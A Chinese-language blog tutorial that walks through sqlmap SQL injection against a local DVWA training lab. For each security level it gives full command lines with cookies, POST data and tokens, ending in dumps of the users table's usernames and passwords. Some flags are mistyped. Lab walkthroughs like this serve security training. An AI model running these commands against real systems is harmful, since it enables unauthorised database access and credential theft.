赞
踩
Sqlmap是一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。
采用五种独特的SQL注入技术,分别是:
查看sqlmap相关参数,命令格式为:sqlmap -h
找到一个可利用的网址,判断网站数据库类型,命令格式为:sqlmap -u
确定数据库类型为mysql后,查看存在的数据库,命令格式为:sqlmap -u 目标网址–dbs
查看数据库中存在的表,命令格式为:sqlmap -u 目标网址–tables -D 数据库名
获取表中的字段,命令格式为:sqlmap -u 目标网址– columns -T 表名 -D 数据库名
猜解出字段,查看表里的存储内容,命令格式为:sqlmap -u 目标网址– dump -C 字段名称 -T 表名 -D 数据库名
在这之前有几个小知识点
sqlmap需要我们输入参数,其中最重要的参数是SQL注入的目标地址。首先要判断测试的目标地址是否需要登录,如果需要登录,则将登陆的Cookie作为参数传递给sqlmap。
python sqlmap.py -u “目标地址” --cookie=“cookie值” --batch
–batch用来指明自动化操作,否则每一个步骤都需要确认;
–current-bd查看当前数据库名称
-D DB 指定要枚举的 DBMS 数据库
-T TBL 指定要枚举的 DBMS 数据表
-C COL 指定要枚举的 DBMS 数据列
-X EXCLUDECOL 指定要排除的 DBMS 数据列
-U USER 指定枚举的 DBMS 用户
- sqlmap.py -u "http://xxx//" --batch
-
- sqlmap.py -u "http://xxx//" --cookie="获取的cookie"
-
- #查询数据库
- sqlmap.py -u "http://xxx//" --cookie="获取的cookie" -dbs
-
- #查看dvwa数据库的表
- sqlmap.py -u "http://xxx//" --cookie="获取的cookie" -D data -tables
-
- #查看表中的字段名
- sqlmap.py -u "http://xxx//" --cookie="获取的cookie" -D data -T users --columns
-
- #获取字段的信息
- sqlmap.py -u "http://xxx//" --cookie="获取的cookie" -D data -T users -C user,password --dump
我们输入id=1,得到网址 url
sqlmap进行sql注入,查看信息。
sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch
发现需要登录,在网页获取到cookie。
查看数据库
sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=low" --batch -dbs
查看dvwa数据库的表
python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=low" --batch -D dvwa -tables
查看表中的字段名
python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=low" --batch -D dvwa -T users --columns
获取字段的信息
python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=low" --batch -D dvwa -T users -C user,password --dump
可以看到用户名和密码已经被我们查询到了。
我们输入id=1,url没有反应
我们利用burpsuit抓包分析, 来查看post方式提交的数据。
这里是使用 post 方式进行传输的,所以我们这里需要使用 --data 参数把数据引入过来
查看信息
python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=medium" --batch
查看数据库
python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=medium" --batch -dbs
查看dvwa数据库下的表
python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=medium" --batch -D dvwa -tables
查看字段名
python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=medium" --batch -D dvwa -T users --columns
获取字段中的信息
python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --cookie="PHPSESSID=keuqaijadcudeooggiv3ch4gom;security=medium" --batch -D dvwa -T users -C user,password --dump
我们发现点击之后会在跳到另一个页面,所以这个想使用sqlmap进行爆破,我们还需要引入一个知识点–second-order(二阶sql注入)
有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。
-–second-order后面跟一个判断页面的URL地址。
利用burpsuite进行抓包,因为这里无法在页面上获取 post 或者 get 的值。
sqlmap>python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high;PHPSESSID=keuqaijadcudeooggiv3ch4gom" --second-url "http://127.0.0.1/dvwa/vulnerabilities/sqli/" --batch
以下就是和low medium级别 大致相同
获得数据
python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high;PHPSESSID=keuqaijadcudeooggiv3ch4gom" --second-url "http://127.0.0.1/dvwa/vulnerabilities/sqli/" --batch -D dvwa -T users -C user,password --dump
这一级别加入了token验证,我们bp抓包来获取
sqlmap跑一下,试试,居然成功了。
python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit&user_token=f237dc0df1d6cdf589f09179a99fa7aa#" --cookie="security=impossible;PHPSESSID=keuqaijadcudeooggiv3ch4gom" --batch
查看一下数据
python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit&user_token=581a16aa4511d8c46a3ea1834973122a#" --cookie="security=impossible;PHPSESSID=0mcqc7ludqslr2se50lsaas3g0" --batch -D dvwa -T users -C user,password --dump
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。